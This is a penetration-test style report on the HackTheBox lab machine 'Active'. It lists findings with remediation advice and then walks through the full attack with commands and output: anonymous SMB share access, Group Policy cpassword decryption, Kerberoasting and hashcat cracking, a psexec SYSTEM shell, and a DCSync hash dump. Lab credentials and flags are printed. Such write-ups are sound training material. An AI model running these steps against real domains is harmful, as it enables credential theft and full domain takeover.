Penetration Assessment Report
HTB Active

November 12, 2022

Github

LinkedIn

Table of Contents

1. Executive Summary

1.1 Assessment Summary

There is 1 target for this assessment. Access to the target's network segment is provided via an OpenVPN connection. There are 3 objectives:

1. Find and access the flag stored in *user.txt* on a user's desktop
2. Find and access the flag stored in *root.txt* on the Administrator's desktop
3. Achieve Domain Admin privileges over the target domain and provide proof of full domain compromise

This final report will be provided at the end of the assessment. The final report will include discovered vulnerabilities, remediation recommendations, and a walkthrough of the attacks preformed during the assessment.

1.2 Summary of Findings

ID	Description	Severity
01	**SMB Share - Insecure Configuration**	**Medium**
02	**SYSVOL Backup - Sensitive Information Disclosure**	**High**
03	**Service Account Password - Insufficient Password Complexity**	**High**
04	**Service Account - Overprivileged Account**	**Critical**

2. Technical Details

2.1 Scope

- **Target 1**:
  - **IP**: 10.10.10.100
  - **Domain**: active.htb

2.2 CVSS v3 Severity Ratings

Severity	Base Score Range
Low	**0.1-3.9**
Medium	**4.0-6.9**
High	**7.0-8.9**
Critical	**9.0-10.0**

2.3 Post Assessment Artifact Removal

All files and tools transferred to the target were removed at the end of the assessment. In addition, any configuration changes made during testing were reverted upon completion of testing. Furthermore, any accounts created or changed during the testing have been removed or reverted, respectively.

2.4 Findings

2.4.1 SMB Share - Insecure Configuration

Affects: 10.10.10.100

CVSS v3 Calculated Risk: 6.5 - Medium

Description: The SMB server hosts a share named "Replication". This share is a backup of the SYSVOL share. As a result, it contains sensitive configuration information that should be protected. The contents of the Replication share are readable by any user without requiring credentials. This sensitive configuration information can be leveraged by an attacker to further penetrate the domain.

Remediation Guidance: Sensitive backups should not be stored in widely accessible network file shares. Ideally, they are stored in an air gapped computer or disconnected storage medium. However, if the backup must be on a network share, it should be isolated to its own network segment, accessible to only the people who need access to perform their jobs, and in depth access control should be configured.

2.4.2 Replication Share - Sensitive Information Disclosure

Affects: 10.10.10.100

CVSS v3 Calculated Risk: 7.1 - High

Description: The Replication share is a backup of the SYSVOL share and contains a file named Groups.xml. Within this file is the encrypted cpassword for the SVC_TGS account. Microsoft accidentally leaked (on MSDN) the encryption key used to encrypt cpasswords around 2012. As a result, the password is easily decrypted with publicly available tools. The username and the decrypted password can then be used to authenticate to the domain to perform further enumeration and attacks.

Remediation Guidance: Microsoft release a patch to prevent the storage of cpasswords in Group Policy Preference (GPP) files such as Groups.xml. However, the patch doesn't remove previously stored cpasswords in GPP files. The patch should be installed and any GPP files with cpasswords should be removed from SMB shares like SYSVOL.

2.4.3 Service Account Password - Insufficient Password Complexity

Affects: 10.10.10.100

CVSS v3 Calculated Risk: 8 - High

Description: The password for the Administrator account, which is configured as a service account is weak. The password doesn't have sufficient complexity and is present in at least 1 common publicly available wordlist

(rockyou). The rockyou wordlist was used to preform a dictionary attack against the password hash to crack it.

Remediation Guidance: Service account passwords should be long and complex. For example, the password might contain lowercase and uppercase letters, numbers, and symbols. In addition, the passwords can be rotated frequently to increase security by making brute force and dictionary attacks harder.

2.4.4 Service Account - Overprivileged Account

Affects: 10.10.10.100

CVSS v3 Calculated Risk: 9 - Critical

Description: The Administrator account is configured to offer a service. Because the Administrator account is being used as a service account, the domain was completely compromised after cracking the password hash for the service account.

Remediation Guidance: Services should be offered using a separate account exclusively for the purpose of offering that service. Furthermore, a service account should only have the bare minimum privileges necessary to perform its function and should never have administrator privileges.

3. Attack Walkthrough

3.1 Scanning and Enumeration

1. **Scan all open TCP ports with NMap:** *sudo nmap -p- -T4 10.10.10.100 -oN all_tcp_ports.nmap*

```
Nmap scan report for 10.10.10.100
Host is up (0.40s latency).
Not shown: 65512 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5722/tcp  open  msdfsr
9389/tcp  open  adws
47001/tcp open  winrm
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49165/tcp open  unknown
49170/tcp open  unknown
49171/tcp open  unknown
```

2. **Perform additional script scanning and enumeration on the discovered ports:** *sudo nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,4915*

8,49165,49170,49171 -T4 -sC -sV -O 10.10.10.100 -oN service_enumeration.nmap --script dns-service-discovery,dns-zone-transfer,msrpc-enum,rpcinfo,nbstat,smb-protocols,smb-os-discovery,smb-security-mode,smb-vuln-cve-2017-7494,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-vuln-ms10-061,smb-vuln-ms17-010

```
Nmap scan report for 10.10.10.100
Host is up (0.77s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-11-14 00:10:37Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
49170/tcp open  msrpc         Microsoft Windows RPC
49171/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (97%), Microsoft Windows Server 2008 SP1 (96%), Microsoft Windows 7 (96%),
Microsoft Windows 7 SP0 - SP1 or Windows Server 2008 (96%), Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2,
Windows 8, or Windows 8.1 Update 1 (96%), Microsoft Windows 7 SP1 (96%), Microsoft Windows 7 Ultimate (96%), Microsoft Windows 8.1 (96%),
Microsoft Windows Vista or Windows 7 SP1 (96%), Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7 (96%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_msrpc-enum: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
| smb-protocols:
|   dialects:
|     202
|_    210
```

3. **Run SMB v2 enumeration scripts against the target:** *sudo nmap -p 445 -T4 10.10.10.100 -oN smb_enumeration.nmap --script smb2-capabilities,smb2-security-mode*

```
Nmap scan report for 10.10.10.100
Host is up (0.24s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-capabilities:
|   202:
|     Distributed File System
|   210:
|     Distributed File System
|     Leasing
|_    Multi-credit operations
| smb2-security-mode:
|   210:
|_    Message signing enabled and required
```

4. **Discover accessible SMB shares and permissions:** *smbmap -H 10.10.10.100*

```
└─$ smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445        Name: 10.10.10.100
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share
        Users                                                   NO ACCESS
```

3.2 Initial Access

1. **Download contents of Replication share using read privilege:** *smbget -a -R smb://10.10.10.100/Replication/*

```
└─$ smbget -a -R smb://10.10.10.100/Replication/
Using workgroup WORKGROUP, guest user
smb://10.10.10.100/Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI
smb://10.10.10.100/Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI
smb://10.10.10.100/Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
smb://10.10.10.100/Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
smb://10.10.10.100/Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol
smb://10.10.10.100/Replication//active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI
smb://10.10.10.100/Replication//active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
Downloaded 8.11kB in 75 seconds
```

2. **Extract cpassword for the SVC_TGS account from Groups.xml:** *cat active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml*

```
└─$ cat active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07
-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA9
8gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

3. **Decrypt the cpassword:** *gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ*

```
└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

4. **Use the credentials *SVC_TGS:GPPstillStandingStrong2k18* to enumerate SPNs in the domain for Kerberroasting:** *impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request*

```
└─$ impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 12:06:40.351723  2022-11-13 15:35:38.564518



[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$6fc1a7120d8d3658262fc09e61fdf1d8$9ebe32720abf3b57c993caa4c68efa4f3ce2580ad512c1ac8aeda83d01639027722d1e
9d11ed2e39e858bdf1363fa373586fe986b33a9f3a1d50baa156dffc01d7df4274b3ae2bb2ec8203dd22bad4603fc88d0940b76c028309eabcc0fb4c9953b1947ad5fcce9730200e4d3c57ece717a959ba51391
d1749e9a86c63d2644f6d75aa3a3abdb93e04092eab4e98c1229254bda64fba40eff4dfaf68e560c8e065d66a69284b63492bbf13592d1cf87f0aebc04b71c9e367a3d23204a75855fea9f2be378b8eba9670ee
57e9c938aafa5d5baaa97b474a58fc8c2473b6240e243ef63b78e731f6c022841fcbbfae20b871f2271846074e6d31350a72594037c592a03465f75afd68a8e2c6fdb6374723d1d85e288ca79427f7c4be6e7a9
c9e3163433a8f9b3fdd40f9203bfe6ae5e7154293935850e09ba4a5804453ba91068f399c541657531eef6ed9ce2c5e7a32123f21c5dd97dc3d3992456969ddb188a99a185f07187304f9fb29cb0e81c30960ad
fc27b90ac1574cc576f9d7a709e843f5697d051779d49d337966dba7c91fe8ab4b04d68027f6b441a9d2bb0c7322087b82741cf101b1f0d054e6933ce303dad55517b32d6a3f06f4b60e8ecee49b419f232ef54
a8562eaab7ce91cb34a80d1df3b5f3e443d4ec5a844686812893b386d74bc144ec6b4c9970b6ebe830f81c4efd07bc4ae7fe05dedd23550986e32c07dd1873f70dc4ae7e7ebe100bee5fac9392d8ea89f5ba5ac
569369f24a91478390806fb4e1cf3778df6bc3cd89d80661dfd458901709fbdb03b98840703ac5913655a91b760f7c3382fb2150d4d8a13af902b8eec0e6f736f7b9ca934063561d6ed488f2ade31ea8467de04
03cc8cbbfd5d7d21c5199592ff99abeaafb9fbbdb43aac273d1799b3ba4d1a53ed6099a7601564e00504da1ca86103e2f7eedec11fb1a160c9224b0efb49866f42c224c31c3b8757b11a1d03a648d2e963810b8
c835bbb0d1e7aada739d1adafe6cf4e99dd29762dac3aea95633805a6f1401790e29d76cd6b8dc7e05d207e6ade04e20bdbd1936831881 2e0037b08bdcb73d88cbbd2be4f42e6a0216fd4f161627fe4efc9e8ed
984f0bda827e7736071694bc395b57f9920e376419fce8dbe31ca097565e92ceed76e15f4e182923b15757e5210480031a9fdd64e38a27784f8caf2803476f3cbd86f276da75795d48f13e9ce6328294a0d0ecd
0da1ebebd2ec35993c256faa7a33c3f64d8807ba
```

5. **Save the TGS_REP hash for the Administrator SPN to a file named:** *administrator_tgs_rep_hash.txt*

6. **Perform a dictionary attack against the hash to recover the Administrator's NTLM password:** *hashcat -m 13100 administrator_tgs_rep_hash.txt /usr/share/wordlists/rockyou.txt*

```
9d11ed2e39e858bdf1363fa373586fe986b33a9f3a1d50baa156dffc01d7df4274b3ae2bb2ec8203dd22bad4603fc88d0940b76c028309eabcc0fb4c9953b1947ad5fcce9730200e4d3c57ece717a959ba51391
d1749e9a86c63d2644f6d75aa3a3abdb93e04092eab4e98c1229254bda64fba40eff4dfaf68e560c8e065d66a69284b63492bbf13592d1cf87f0aebc04b71c9e367a3d23204a75855fea9f2be378b8eba9670ee
57e9c938aafa5d5baaa97b474a58fc8c2473b6240e243ef63b78e731f6c022841fcbbfae20b871f2271846074e6d31350a72594037c592a03465f75afd68a8e2c6fdb6374723d1d85e288ca79427f7c4be6e7a9
c9e3163433a8f9b3fdd40f9203bfe6ae5e7154293935850e09ba4a5804453ba91068f399c541657531eef6ed9ce2c5e7a32123f21c5dd97dc3d3992456969ddb188a99a185f07187304f9fb29cb0e81c30960ad
fc27b90ac1574cc576f9d7a709e843f5697d051779d49d337966dba7c91fe8ab4b04d68027f6b441a9d2bb0c7322087b82741cf101b1f0d054e6933ce303dad55517b32d6a3f06f4b60e8ecee49b419f232ef54
a8562eaab7ce91cb34a80d1df3b5f3e443d4ec5a844686812893b386d74bc144ec6b4c9970b6ebe830f81c4efd07bc4ae7fe05dedd23550986e32c07dd1873f70dc4ae7e7ebe100bee5fac9392d8ea89f5ba5ac
569369f24a91478390806fb4e1cf3778df6bc3cd89d80661dfd458901709fbdb03b98840703ac5913655a91b760f7c3382fb2150d4d8a13af902b8eec0e6f736f7b9ca934063561d6ed488f2ade31ea8467de04
03cc8cbbfd5d7d21c5199592ff99abeaafb9fbbdb43aac273d1799b3ba4d1a53ed6099a7601564e00504da1ca86103e2f7eedec11fb1a160c9224b0efb49866f42c224c31c3b8757b11a1d03a648d2e963810b8
c835bbb0d1e7aada739d1adafe6cf4e99dd29762dac3aea95633805a6f1401790e29d76cd6b8dc7e05d207e6ade04e20bdbd19368318812e0037b08bdcb73d88cbbd2be4f42e6a0216fd4f161627fe4efc9e8ed
984f0bda827e7736071694bc395b57f9920e376419fce8dbe31ca097565e92ceed76e15f4e182923b15757e5210480031a9fdd64e38a27784f8caf2803476f3cbd86f276da75795d48f13e9ce6328294a0d0ecd
0da1ebebd2ec35993c256faa7a33c3f64d8807ba:Ticketmaster1968

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad...8807ba
Time.Started.....: Sun Nov 13 16:57:26 2022 (12 secs)
Time.Estimated...: Sun Nov 13 16:57:38 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   907.0 kH/s (1.42ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10539008/14344385 (73.47%)
Rejected.........: 0/10539008 (0.00%)
Restore.Point....: 10536960/14344385 (73.46%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Tiffany95 -> Thelittlemermaid
Hardware.Mon.#1..: Util: 66%
```

7. **Using the credentials *Administrator:Ticketmaster1968* open a shell on the target:** *impacket-psexec administrator:Ticketmaster1968@10.10.10.100 -dc-ip 10.10.10.100*

```
└─$ impacket-psexec administrator:Ticketmaster1968@10.10.10.100 -dc-ip 10.10.10.100
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file LzbLemJF.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service UYec on 10.10.10.100.....
[*] Starting service UYec.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system
```

3.3 Post-Exploitation

1. **Extract the flag from the user proof file:** *cd c:\Users\SVC_TGS\Desktop* and then *type user.txt*
   `0d284b156ff270f54f108dc0487b9612`

2. **Extract the flag from the admin proof file:** *cd c:\Users\Administrator\Desktop* and then *type root.txt*
   `8d126113d1d87f1de2fa92cfc5458fef`

3. **Preform a DCSync attack using the credentials *Administrator:Ticketmaster1968* to prove full domain compromise:** *impacket-secretsdump administrator:Ticketmaster1968@10.10.10.100 -dc-ip*

10.10.10.100 -just-dc-ntlm

```
└─$ impacket-secretsdump administrator:Ticketmaster1968@10.10.10.100 -dc-ip 10.10.10.100 -just-dc-ntlm
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b889e0d47d6fe22c8f0463a717f460dc:::
active.htb\SVC_TGS:1103:aad3b435b51404eeaad3b435b51404ee:f54f3a1d3c38140684ff4dad029f25b5:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:ff0f9268905a4d23072928514ad9a18c:::
[*] Cleaning up...
```

3.4 Artifact Removal

1. **Clean up the open Administrator shell:** *exit*

```
C:\Windows\system32> exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 10.10.10.100.....
[*] Stopping service UYec.....
[*] Removing service UYec.....
[*] Removing file LzbLemJF.exe.....
```